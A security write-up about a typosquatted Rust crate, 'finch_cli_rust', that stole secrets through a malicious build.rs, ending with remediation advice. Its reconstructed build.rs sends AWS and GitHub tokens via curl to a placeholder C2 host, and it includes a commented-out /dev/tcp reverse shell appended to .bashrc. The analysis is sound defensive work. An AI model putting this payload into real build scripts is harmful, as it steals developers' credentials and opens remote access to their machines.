Rust in Peace: The 'finch_cli_rust' Supply Chain Ambush

We live in the golden age of "cargo cult" programming—quite literally. You need a library? cargo add. You need a CLI tool? cargo install. It is frictionless, efficient, and terrifying. The 'finch_cli_rust' incident is the latest reminder that the repository you trust is an open bazaar, not a curated museum.

This specific attack targeted users of Finch, an open-source client for container development (managed by AWS). The attackers bet on a simple premise: a developer looking for a Rust client or CLI wrapper for Finch might search for finch_cli or finch_rust. It’s a classic typosquatting and brandjacking maneuver.

The trap was set. The package didn't contain a useful library or a broken tool. It contained a bomb. And unlike a binary exploit that requires a specific memory corruption to trigger, this exploit required only one thing: for you to try to compile it.

To understand how this works, you have to look at one of Rust's most powerful features: the build script (build.rs). In legitimate crates, this file is used to compile C dependencies, generate code, or configure platform-specific build flags. It is compiled and executed on the host machine before the main package is even built.

Here is the kicker: build.rs is just Rust code. It has full access to the standard library. It can read files, open network sockets, and spawn shell processes. It runs with the privileges of the user invoking cargo.

In the security world, we call this "Code Execution by Design." When you ran cargo install finch_cli_rust, Cargo dutifully downloaded the crate, saw the build.rs file, compiled it, and ran it. The attacker didn't need to bypass ASLR or trick you into running the binary. The build process is the execution vector. It is like locking your front door but building a doggy door large enough for a swat team.

While the specific source code of the now-deleted package is scrubbed from the registry, we can reconstruct the payload based on the standard modus operandi of these campaigns (including the related finch-rst package). The malicious logic lives entirely in build.rs.

A typical malicious build script looks innocuous at first glance but performs data exfiltration in the background. It grabs environment variables—specifically looking for AWS keys, SSH keys, and CI tokens—and posts them to a C2 server.

The Reconstruction

// build.rs - The "Trojan Horse"
use std::process::Command;
use std::env;
 
fn main() {
    // 1. Gather Loot
    // In a real attack, this iterates over ENV vars looking for "AWS_", "KEY", "TOKEN"
    let sensitive_keys = vec!["AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "GITHUB_TOKEN"];
    let mut looted_data = String::new();
 
    for key in sensitive_keys {
        if let Ok(val) = env::var(key) {
            looted_data.push_str(&format!("{}={};", key, val));
        }
    }
 
    // 2. Exfiltration via Curl (or pure Rust networking)
    // This runs silently. The user sees "Compiling..."
    if !looted_data.is_empty() {
        let _ = Command::new("curl")
            .arg("-X")
            .arg("POST")
            .arg("-d")
            .arg(looted_data)
            .arg("https://attacker-c2-domain.xyz/collect")
            .output();
    }
    
    // 3. Persistence (Optional but common)
    // Add a reverse shell to .bashrc
    // Command::new("sh").arg("-c").arg("echo 'bash -i >& /dev/tcp/1.2.3.4/443 0>&1' >> ~/.bashrc").output();
}

The terrifying part is that this code runs during dependency resolution. Even if the build fails later, the data is already gone. The developer might see a "Build Error" and think the crate is just broken, unaware that their AWS credentials are currently being sold on a Telegram channel.

Why is this severity Critical? Because of who installs these packages. This isn't targeting grandma's iPad; it's targeting software engineers, DevOps professionals, and CI/CD pipelines.

The Loot Table

• AWS Credentials: Since the package impersonated an AWS tool (finch), it is highly likely the victim had AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY exported in their shell.
• SSH Keys: Access to ~/.ssh/id_rsa allows lateral movement to private GitHub repositories or production servers.
• CI/CD Poisoning: If this crate made it into a Cargo.lock file in a corporate repository, every time the CI pipeline runs, the malicious code executes inside the build agent, potentially exposing production deployment secrets.

The "Exploit Maturity" is Active/Weaponized. There is no proof-of-concept phase here; the package was the weapon.

If you find finch_cli_rust or finch-rst in your dependency tree, you are past the point of "patching." You are in disaster recovery mode.

1. Identify and Purge Check your Cargo.toml and Cargo.lock. Run cargo tree. If you see the package, delete it. But removing the line of code does not remove the malware that may have persisted on your system.

2. Rotate Everything Assume every environment variable present in your shell at the time of the build has been exfiltrated. > [!WARNING] > Do not just delete the AWS keys. You must revoke them in the IAM console and generate new ones. Rotate your SSH keys. Rotate your GitHub Personal Access Tokens.

3. Audit for Persistence Check your shell profiles (.bashrc, .zshrc, .profile). Check crontab -l. Look for strange binaries in /tmp or ~/.cargo/bin. If you are in a high-security environment, the safest course of action is to wipe the machine.